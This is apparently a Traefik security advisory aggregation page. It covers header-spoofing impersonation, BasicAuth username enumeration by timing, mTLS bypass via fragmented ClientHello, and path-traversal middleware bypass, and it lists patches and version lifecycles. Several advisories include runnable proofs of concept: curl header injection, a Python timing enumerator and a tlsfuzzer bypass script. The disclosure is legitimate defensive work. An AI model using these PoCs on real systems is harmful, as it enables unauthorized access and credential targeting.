See how traefik labs compares to other vendors in security performance
Traefik versions from v3.7.1 fail to enforce crossProviderNamespaces restrictions on the traefik.ingress.kubernetes.io/service.middlewares Service annotation in the Kubernetes Ingress provider. A namespace-limited tenant excluded from the allowlist can attach an operator-owned middleware to its Service, and if that middleware injects backend credentials, recover them at a controlled backend.
Latest version: 3.7.13
Traefik is an HTTP reverse proxy and load balancer. Prior to versions 2.11.43, 3.6.14, and 3.7.0-rc.2, there is a high severity authentication bypass vulnerability in Traefik's ForwardAuth and snippet-based authentication middleware. Traefik's forwarded-header sanitization logic targets only canonical header names (e.g., X-Forwarded-Proto) and does not strip or normalize alias variants that use underscores instead of dashes (e.g., XForwardedProto). These unsanitized alias headers are forwarded intact to the authentication backend. When the backend normalizes underscore and dash header forms equivalently, an attacker can inject spoofed trust context — such as a trusted scheme or host — through the alias headers and bypass authentication on protected routes without valid credentials. This issue has been patched in versions 2.11.43, 3.6.14, and 3.7.0-rc.2.
Summary
There is a potential vulnerability in Traefik's Basic and Digest authentication middlewares when headerField is configured with a non-canonical HTTP header name.
An authenticated attacker with valid credentials can inject the canonical version of the configured header to impersonate any identity to the backend. Because Traefik writes the authenticated username using a non-canonical map key, it creates a separate header entry rather than overwriting the attacker's canonical one — causing most backend frameworks to read the attacker-controlled value instead.
Patches
- <https://github.com/traefik/traefik/releases/tag/v2.11.42> - <https://github.com/traefik/traefik/releases/tag/v3.6.12> - <https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.3>
For more information
If there are any questions or comments about this advisory, please open an issue.
---
<details> <summary>Original Description</summary>
Summary
When headerField is configured with a non-canonical HTTP header name (e.g., x-auth-user instead of X-Auth-User), an authenticated attacker can inject a canonical version of that header to impersonate any identity to the backend. The backend receives two header entries — the attacker-injected canonical one is read first, overriding Traefik's non-canonical write.
Tested on Traefik v3.6.10.
Details
At pkg/middlewares/auth/basicauth.go:92, the authenticated username is written using direct map assignment:
go req.Header[b.headerField] = []string{user}
Go's http.Header map is keyed by canonical names (e.g., X-Auth-User). Direct assignment with a non-canonical key (x-auth-user) creates a separate map entry from any canonical-key entry already present. The attacker's X-Auth-User: superadmin occupies the canonical slot and is never overwritten by Traefik's non-canonical write.
The same bug exists in pkg/middlewares/auth/digestauth.go:100. Notably, forward.go:254 correctly uses http.CanonicalHeaderKey(), showing the fix pattern already exists in the codebase.
PoC
Traefik config (YAML, Docker labels, or REST API):
yaml middlewares: auth: basicAuth: users: ["admin:$2y$05$..."] headerField: "x-auth-user"
Normal request (baseline):
bash curl -u admin:admin http://traefik/secure/test Backend receives: x-auth-user: admin Identity = admin ✓
Attack request:
bash curl -u admin:admin -H "X-Auth-User: superadmin" http://traefik/secure/test Backend receives BOTH headers: X-Auth-User: superadmin ← attacker-injected (canonical key, read first by most frameworks) x-auth-user: admin ← Traefik-set (non-canonical, ignored by most frameworks) Identity seen by backend = superadmin ✗
Control test — when headerField uses canonical casing (X-Auth-User), the attack fails. Traefik's write correctly overwrites the attacker's header.
This is realistic because YAML conventions favor lowercase keys, Traefik docs don't warn about canonicalization, and the pattern of backends trusting the headerField header is recommended in Traefik's own documentation.
Fix suggestion:
go // basicauth.go:92 and digestauth.go:100 — change: req.Header[b.headerField] = []string{user} // to: req.Header.Set(b.headerField, user)
Also strip any incoming headerField header before the auth check with req.Header.Del(b.headerField).
Impact
An authenticated attacker with valid credentials (even low-privilege) can impersonate any other user identity to backend services. If backends use the headerField header for authorization decisions (which is the intended use case per Traefik docs), this enables privilege escalation — e.g., a regular user impersonating an admin.
The attack requires the operator to configure headerField with a non-canonical header name, which is the natural thing to do in YAML and is not warned against in documentation.
</details>
Summary
There is a potential vulnerability in Traefik's BasicAuth middleware that allows username enumeration via a timing attack.
When a submitted username exists, the middleware performs a bcrypt password comparison taking ~166ms. When the username does not exist, the response returns immediately in ~0.6ms. This ~298x timing difference is observable over the network and allows an unauthenticated attacker to reliably distinguish valid from invalid usernames.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.41 - https://github.com/traefik/traefik/releases/tag/v3.6.11 - https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary A timing attack vulnerability exists in Traefik's BasicAuth middleware that allows unauthenticated attackers to enumerate valid usernames. When a username exists, bcrypt password verification takes ~166ms; when it doesn't exist, the response returns immediately in ~0.6ms. This ~298x timing difference enables reliable username enumeration.
Details The vulnerability exists in the BasicAuth middleware implementation. When validating credentials: - User exists: The system performs bcrypt password comparison, which intentionally takes ~100-200ms due to bcrypt's design - User doesn't exist: The system immediately returns authentication failure in ~0.6ms
This timing difference is observable over the network and allows attackers to distinguish between valid and invalid usernames.
Root Cause: The code returns early when the user is not found, without performing a dummy bcrypt comparison to maintain constant-time execution.
Expected behavior: The system should perform a bcrypt comparison regardless of whether the user exists, to maintain consistent response times.
PoC Environment: - Traefik v3.6.9 - k3s v1.34.5
Configuration: yaml apiVersion: traefik.io/v1alpha1 kind: Middleware metadata: name: basicauth namespace: traefik-poc spec: basicAuth: secret: basic-auth-secret --- apiVersion: networking.k8s.io/v1 kind: Ingress metadata: name: test-basicauth annotations: traefik.ingress.kubernetes.io/router.middlewares: traefik-poc-basicauth@kubernetescrd spec: ingressClassName: traefik rules: - http: paths: - path: /protected pathType: Prefix backend: service: name: whoami port: number: 80
PoC Script: python #!/usr/bin/env python3 import requests import time import statistics import sys TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:30080/protected" TESTUSERS = ["admin", "root", "test", "nonexistent12345"] SAMPLES = 20 def measuretime(username, password="wrongpassword"): times = [] for in range(SAMPLES): start = time.perfcounter() requests.get(TARGET, auth=(username, password), timeout=5) elapsed = time.perfcounter() - start times.append(elapsed) return statistics.median(times) print(f"Target: {TARGET}") print(f"Samples per user: {SAMPLES}\n") for user in TESTUSERS: median = measuretime(user) if median > 0.05: # bcrypt threshold status = "[+] EXISTS (slow - bcrypt verification)" else: status = "[-] NOT FOUND (fast - immediate return)" print(f"{status}: {user:20s} | median={median:.4f}s")
Execution Results: Target: http://10.10.10.7:30080/protected Samples per user: 20
[+] EXISTS (slow - bcrypt verification): admin | median=0.1665s [-] NOT FOUND (fast - immediate return): root | median=0.0006s [-] NOT FOUND (fast - immediate return): test | median=0.0006s [-] NOT FOUND (fast - immediate return): nonexistent | median=0.0006s
Timing difference ratio: 298.0x
Impact - Vulnerability Type: Information Disclosure via Timing Attack (CWE-208) - Impact: - Attackers can enumerate valid usernames without authentication - Enables targeted password brute-force attacks against confirmed accounts - Exposes information about system user structure - Who is impacted: All users of Traefik's BasicAuth middleware are affected. The vulnerability requires: - BasicAuth middleware enabled - Attacker able to make requests to protected endpoints - Network access to measure response times - Attack Complexity: Low - only requires sending HTTP requests and measuring response times - Privileges Required: None - User Interaction: None
</details>
---
Summary
There is a potential vulnerability in Traefik's TLS SNI pre-sniffing logic related to fragmented ClientHello packets.
When a TLS ClientHello is fragmented across multiple records, Traefik's SNI extraction may fail with an EOF and return an empty SNI. The TCP router then falls back to the default TLS configuration, which does not require client certificates by default. This allows an attacker to bypass route-level mTLS enforcement and access services that should require mutual TLS authentication.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.41 - https://github.com/traefik/traefik/releases/tag/v3.6.11 - https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary I found a behavior in Traefik's latest version where fragmented ClientHello packets can cause pre-sniff SNI extraction to not find the sni (EOF during sniff), which makes the TCP router fall back to default routing TLS config.
If the default TLS config does not require client certificates (which is NoClientCert by default), the handshake succeeds without client auth, and the request is later routed to the HTTP Host which should be the protected with client certificate authentication (RequireAndVerifyClientCert tls config).
Details The vulnerability is caused by a mismatch between where Traefik decides the TLS policy per host and where Go TLS can finally parse the full ClientHello.
1. In router.go, ServeTCP function calls clientHelloInfo. 2. clientHelloInfo peeks only one TLS record length (recLen) and then peeks exactly 5 + recLen bytes. It runs a temporary TLS parse on those bytes to extract the SNI. If ClientHello is fragmented, pre-sniff may return empty SNI (With fragmentation, first record can be incomplete for full ClientHello parsing). 4. clientHelloInfo still returns isTLS=true and empty SNI (it thinks there is no sni so it applies the default tls config (Which is by default NoClientCert which is permissive) 5. Real Go TLS handshake succeeds later without requiring the client cert. 6. Request is routed to the host that should have been protected.
Conditions required for impact: - Route-level TLS options enforce mTLS for a host. - Default TLS config is weaker (noClientCert, which is the default default). - Pre-sniff fails to extract SNI (due to fragmented ClientHello).
A workaround for this is to set the default tls config to RequireAndVerifyClientCert (but then you need to explicitly define for each permissive host the NoClientCert TLS config).
A suggestion to fix is to parse the complete ClientHello before tls config decision (handle multi-record fragmentation).
PoC python prerequisites (ubuntu/debian, in rhel/fedora you need to run only the install command (dnf) but with "docker" instead of docker.io and podman will emulate it) sudo apt update sudo apt install -y docker.io openssl git python3 python3-venv sudo usermod -aG docker "$USER" in debian/ubuntu run newgrp docker to apply the new group to the user
mkdir -p /tmp/traefik-frag-poc/{certs,config/dynamic} cd /tmp/traefik-frag-poc
CA openssl genrsa -out certs/ca.key 4096 openssl req -x509 -new -nodes -key certs/ca.key -sha256 -days 3650 \ -subj "/CN=PoC-CA" -out certs/ca.crt
Server cert (whoami.home.arpa) cat > certs/server.cnf <<'EOFSERVERCNF' [req] distinguishedname = dn reqextensions = v3req prompt = no
[dn] CN = whoami.home.arpa
[v3req] subjectAltName = @altnames
[altnames] DNS.1 = whoami.home.arpa EOFSERVERCNF
openssl genrsa -out certs/traefik.key 2048 openssl req -new -key certs/traefik.key -out certs/traefik.csr -config certs/server.cnf openssl x509 -req -in certs/traefik.csr -CA certs/ca.crt -CAkey certs/ca.key -CAcreateserial \ -out certs/traefik.crt -days 365 -sha256 -extensions v3req -extfile certs/server.cnf
Client cert (valid client) openssl genrsa -out certs/client.key 2048 openssl req -new -key certs/client.key -subj "/CN=client1" -out certs/client.csr openssl x509 -req -in certs/client.csr -CA certs/ca.crt -CAkey certs/ca.key -CAcreateserial \ -out certs/client.crt -days 365 -sha256
cat > config/traefik.yml <<'EOFTRAEFIKCFG' entryPoints: websecure: address: ":8443"
providers: file: directory: /etc/traefik/dynamic watch: true
log: level: DEBUG EOFTRAEFIKCFG
cat > config/dynamic/dynamic.yml <<'EOFDYNAMICCFG' http: routers: whoami: rule: "Host(whoami.home.arpa)" entryPoints: - websecure service: whoami tls: options: mtls
services: whoami: loadBalancer: servers: - url: "http://whoami:80"
tls: certificates: - certFile: /certs/traefik.crt keyFile: /certs/traefik.key
options: mtls: clientAuth: caFiles: - /certs/ca.crt clientAuthType: RequireAndVerifyClientCert EOFDYNAMICCFG
docker network create traefik-poc
run a whoami microservice for the bypass demonstration docker run -d \ --name whoami \ --network traefik-poc \ --restart unless-stopped \ traefik/whoami:v1.11.0
docker run -d \ --name traefik \ --network traefik-poc \ -p 8443:8443 \ --restart unless-stopped \ -v "$PWD/config/traefik.yml:/etc/traefik/traefik.yml:ro,Z" \ -v "$PWD/config/dynamic:/etc/traefik/dynamic:ro,Z" \ -v "$PWD/certs:/certs:ro,Z" \ traefik:3.6.10 \ --configFile=/etc/traefik/traefik.yml
watch traefik logs to ensure everything was deployed correctly docker logs traefik
tlsfuzzer setup + frag client script
mkdir -p /tmp/testtlsfuzz cd /tmp/testtlsfuzz git clone https://github.com/tlsfuzzer/tlsfuzzer.git cd tlsfuzzer
python3 -m venv .venv source .venv/bin/activate pip install -r requirements.txt
cat > fragclienthello.py <<'EOFFRAGSCRIPT' import argparse import sys import os
from tlsfuzzer.runner import Runner from tlsfuzzer.messages import ( Connect, SetMaxRecordSize, ClientHelloGenerator, CertificateGenerator, CertificateVerifyGenerator, ClientKeyExchangeGenerator, ChangeCipherSpecGenerator, FinishedGenerator, ApplicationDataGenerator, AlertGenerator, ) from tlsfuzzer.expect import ( ExpectServerHello, ExpectCertificate, ExpectServerKeyExchange, ExpectCertificateRequest, ExpectServerHelloDone, ExpectChangeCipherSpec, ExpectFinished, ExpectApplicationData, ExpectAlert, ExpectClose, ) from tlsfuzzer.helpers import SIGALL from tlslite.constants import ( CipherSuite, ExtensionType, AlertLevel, AlertDescription, GroupName, ) from tlslite.extensions import ( SNIExtension, TLSExtension, SupportedGroupsExtension, SignatureAlgorithmsExtension, SignatureAlgorithmsCertExtension, ) from tlslite.utils.keyfactory import parsePEMKey from tlslite.x509 import X509 from tlslite.x509certchain import X509CertChain
class PrettyExpectApplicationData(ExpectApplicationData): def process(self, state, msg): super().process(state, msg) text = msg.write().decode("utf-8", errors="replace") head, , body = text.partition("\r\n\r\n") print("\n=== HTTP RESPONSE ===") print(head) print() print(body) print("=== END HTTP RESPONSE ===\n")
def loadclientcertandkey(certpath, keypath): cert = None key = None
if certpath: textcert = open(certpath, "rb").read() if sys.versioninfo[0] >= 3: textcert = str(textcert, "utf-8") cert = X509() cert.parse(textcert)
if keypath: textkey = open(keypath, "rb").read() if sys.versioninfo[0] >= 3: textkey = str(textkey, "utf-8") key = parsePEMKey(textkey, private=True)
return cert, key
def main(): p = argparse.ArgumentParser() p.addargument("--connect-host", default="127.0.0.1") p.addargument("--port", type=int, default=8443) p.addargument("--sni", default="whoami.home.arpa") p.addargument("--record-size", type=int, default=512) p.addargument("--padding-len", type=int, default=1200) p.addargument("--expect-cert-request", action="storetrue") p.addargument("--client-cert-pem", default="") p.addargument("--client-key-pem", default="") args = p.parseargs()
cert, key = loadclientcertandkey(args.clientcertpem, args.clientkeypem)
print(f"[DBG] certarg={args.clientcertpem!r} keyarg={args.clientkeypem!r}") for p in [args.clientcertpem, args.clientkeypem]: if p: print(f"[DBG] file={p} exists={os.path.exists(p)} size={os.path.getsize(p) if os.path.exists(p) else -1}")
print(f"[DBG] certloaded={cert is not None} keyloaded={key is not None}") print(f"[DBG] bool(cert)={bool(cert) if cert is not None else None} bool(key)={bool(key) if key is not None else None}")
if (args.clientcertpem or args.clientkeypem) and not (cert and key): raise ValueError("Provide both --client-cert-pem and --client-key-pem")
conv = Connect(args.connecthost, args.port) node = conv node = node.addchild(SetMaxRecordSize(args.recordsize))
ext = { ExtensionType.servername: SNIExtension().create(bytearray(args.sni, "ascii")), ExtensionType.supportedgroups: SupportedGroupsExtension().create( [GroupName.secp256r1, GroupName.ffdhe2048] ), ExtensionType.signaturealgorithms: SignatureAlgorithmsExtension().create(SIGALL), ExtensionType.signaturealgorithmscert: SignatureAlgorithmsCertExtension().create(SIGALL), 21: TLSExtension().create(21, bytearray(args.paddinglen)), }
ciphers = [ CipherSuite.TLSECDHERSAWITHAES128GCMSHA256, CipherSuite.TLSECDHERSAWITHAES128CBCSHA, CipherSuite.TLSDHERSAWITHAES128CBCSHA, CipherSuite.TLSEMPTYRENEGOTIATIONINFOSCSV, ]
node = node.addchild(ClientHelloGenerator(ciphers, extensions=ext)) node = node.addchild(ExpectServerHello()) node = node.addchild(ExpectCertificate()) node = node.addchild(ExpectServerKeyExchange())
if args.expectcertrequest: node = node.addchild(ExpectCertificateRequest())
node = node.addchild(ExpectServerHelloDone())
if args.expectcertrequest and cert and key: node = node.addchild(CertificateGenerator(X509CertChain([cert]))) node = node.addchild(ClientKeyExchangeGenerator()) node = node.addchild(CertificateVerifyGenerator(key)) node = node.addchild(ChangeCipherSpecGenerator()) node = node.addchild(FinishedGenerator()) node = node.addchild(ExpectChangeCipherSpec()) node = node.addchild(ExpectFinished()) req = bytearray( f"GET / HTTP/1.1\r\nHost: {args.sni}\r\nConnection: close\r\n\r\n".encode("ascii") ) node = node.addchild(ApplicationDataGenerator(req)) node = node.addchild(PrettyExpectApplicationData(output=sys.stdout)) node = node.addchild(AlertGenerator(AlertLevel.warning, AlertDescription.closenotify)) node = node.addchild(ExpectAlert()) node.nextsibling = ExpectClose()
elif args.expectcertrequest and not (cert and key): node = node.addchild(CertificateGenerator()) node = node.addchild(ClientKeyExchangeGenerator()) node = node.addchild(ChangeCipherSpecGenerator()) node = node.addchild(FinishedGenerator()) node = node.addchild(ExpectChangeCipherSpec()) node = node.addchild(ExpectFinished())
else: node = node.addchild(ClientKeyExchangeGenerator()) node = node.addchild(ChangeCipherSpecGenerator()) node = node.addchild(FinishedGenerator()) node = node.addchild(ExpectChangeCipherSpec()) node = node.addchild(ExpectFinished()) req = bytearray( f"GET / HTTP/1.1\r\nHost: {args.sni}\r\nConnection: close\r\n\r\n".encode("ascii") ) node = node.addchild(ApplicationDataGenerator(req)) node = node.addchild(PrettyExpectApplicationData(output=sys.stdout)) node = node.addchild(AlertGenerator(AlertLevel.warning, AlertDescription.closenotify)) node = node.addchild(ExpectAlert()) node.nextsibling = ExpectClose()
try: Runner(conv).run() print("[OK] conversation completed") except AssertionError as e: print(f"[TLS RAW ERROR] {e}") marker = "Unexpected message from peer: " s = str(e) if marker in s: print(f"[TLS PEER MESSAGE] {s.split(marker, 1)[1].strip()}") raise
if name == "main": main() EOFFRAGSCRIPT
chmod +x fragclienthello.py cd /tmp/testtlsfuzz/tlsfuzzer source .venv/bin/activate
case 1: non fragmented, no client cert (strict mTLS path, should fail. traefik logs should inform that client didn't provide a certificate) python fragclienthello.py \ --connect-host 127.0.0.1 \ --port 8443 \ --sni whoami.home.arpa \ --record-size 16384 \ --expect-cert-request
case 1b with openssl instead of my script printf 'GET / HTTP/1.1\r\nHost: whoami.home.arpa\r\nConnection: close\r\n\r\n' | \ openssl sclient \ -connect 127.0.0.1:8443 \ -servername whoami.home.arpa \ -tls12 \ -CAfile /tmp/traefik-frag-poc/certs/ca.crt \ -state -msg -tlsextdebug -verifyreturnerror
case 2: non fragmented, with valid client cert (should succeed) python fragclienthello.py \ --connect-host 127.0.0.1 \ --port 8443 \ --sni whoami.home.arpa \ --record-size 16384 \ --expect-cert-request \ --client-cert-pem /tmp/traefik-frag-poc/certs/client.crt \ --client-key-pem /tmp/traefik-frag-poc/certs/client.key
case 2b with openssl instead of my script printf 'GET / HTTP/1.1\r\nHost: whoami.home.arpa\r\nConnection: close\r\n\r\n' | \ openssl sclient -connect 127.0.0.1:8443 -servername whoami.home.arpa -tls12 \ -cert /tmp/traefik-frag-poc/certs/client.crt \ -key /tmp/traefik-frag-poc/certs/client.key \ -CAfile /tmp/traefik-frag-poc/certs/ca.crt -quiet
case 3 fragmented ClientHello, no client cert (bypass behavior test) python fragclienthello.py \ --connect-host 127.0.0.1 \ --port 8443 \ --sni whoami.home.arpa \ --record-size 500 in the record-size you can play with it as long as the client hello sni sniff function returns an EOF
Impact An attacker can bypass route-level mTLS enforcement by fragmenting ClientHello so Traefik pre-sniff fails (EOF) and falls back to default permissive TLS config.
</details>
--
Traefik is an HTTP reverse proxy and load balancer. From version 2.11.9 to 2.11.37 and from version 3.1.3 to 3.6.8, there is a potential vulnerability in Traefik managing the Connection header with X-Forwarded headers. When Traefik processes HTTP/1.1 requests, the protection put in place to prevent the removal of Traefik-managed X-Forwarded headers (such as X-Real-Ip, X-Forwarded-Host, X-Forwarded-Port, etc.) via the Connection header does not handle case sensitivity correctly. The Connection tokens are compared case-sensitively against the protected header names, but the actual header deletion operates case-insensitively. As a result, a remote unauthenticated client can use lowercase Connection tokens (e.g. Connection: x-real-ip) to bypass the protection and trigger the removal of Traefik-managed forwarded identity headers. This issue has been patched in versions 2.11.38 and 3.6.9.
End of life: 8/16/2026, End of support: 5/7/2026, Latest version: 3.6.25
End of life: 11/7/2025, End of support: 11/7/2025, Latest version: 3.5.6
End of life: 7/23/2025, End of support: 7/23/2025, Latest version: 3.4.5
Impact
There is a potential vulnerability in Traefik managing the requests using a PathPrefix, Path or PathRegex matcher.
When Traefik is configured to route the requests to a backend using a matcher based on the path, if the URL contains a /../ in its path, it’s possible to target a backend, exposed using another router, by-passing the middlewares chain.
Example
yaml apiVersion: traefik.io/v1alpha1 kind: IngressRoute metadata: name: my-service spec: routes: - match: PathPrefix(‘/service’) kind: Rule services: - name: service-a port: 8080 middlewares: - name: my-middleware-a - match: PathPrefix(‘/service/sub-path’) kind: Rule services: - name: service-a port: 8080
In such a case, the request http://mydomain.example.com/service/sub-path/../other-path will reach the backend my-service-a without operating the middleware my-middleware-a unless the computed path is http://mydomain.example.com/service/other-path and should be computes by the first router (operating my-middleware-a).
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.24 - https://github.com/traefik/traefik/releases/tag/v3.3.6 - https://github.com/traefik/traefik/releases/tag/v3.4.0-rc2
Workaround
Add a PathRegexp rule to the matcher to prevent matching a route with a /../ in the path.
Example:
yaml match: PathPrefix(/service) && !PathRegexp((?:(/\.\./)+.))
For more information
If you have any questions or comments about this advisory, please open an issue.
End of life: 9/7/2026, End of support: 4/29/2025, Latest version: 2.11.57
End of life: 9/7/2026, End of support: 4/29/2025, Latest version: 2.11.57
End of life: 5/5/2025, End of support: 5/5/2025, Latest version: 3.3.7
End of life: 1/6/2025, End of support: 1/6/2025, Latest version: 3.2.5
End of life: 1/6/2025, End of support: 1/6/2025, Latest version: 3.2.5
End of life: 10/28/2024, End of support: 10/28/2024, Latest version: 3.1.7
End of life: 10/28/2024, End of support: 10/28/2024, Latest version: 3.1.7
End of life: 7/15/2024, End of support: 7/15/2024, Latest version: 3.0.4
End of life: 7/15/2024, End of support: 7/15/2024, Latest version: 3.0.4
End of life: 2/12/2024, End of support: 2/12/2024, Latest version: 2.10.7
End of life: 2/12/2024, End of support: 2/12/2024, Latest version: 2.10.7
End of life: 4/24/2023, End of support: 4/24/2023, Latest version: 2.9.10
End of life: 4/24/2023, End of support: 4/24/2023, Latest version: 2.9.10
End of life: 10/3/2022, End of support: 10/3/2022, Latest version: 2.8.8
End of life: 10/3/2022, End of support: 10/3/2022, Latest version: 2.8.8
End of life: 6/29/2022, End of support: 6/29/2022, Latest version: 2.7.3
End of life: 6/29/2022, End of support: 6/29/2022, Latest version: 2.7.3
End of life: 5/24/2022, End of support: 5/24/2022, Latest version: 2.6.7
End of life: 5/24/2022, End of support: 5/24/2022, Latest version: 2.6.7